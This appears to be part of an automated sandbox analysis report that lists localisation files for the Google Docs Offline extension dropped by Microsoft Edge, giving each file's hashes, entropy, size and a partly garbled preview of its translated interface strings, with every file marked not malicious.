Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
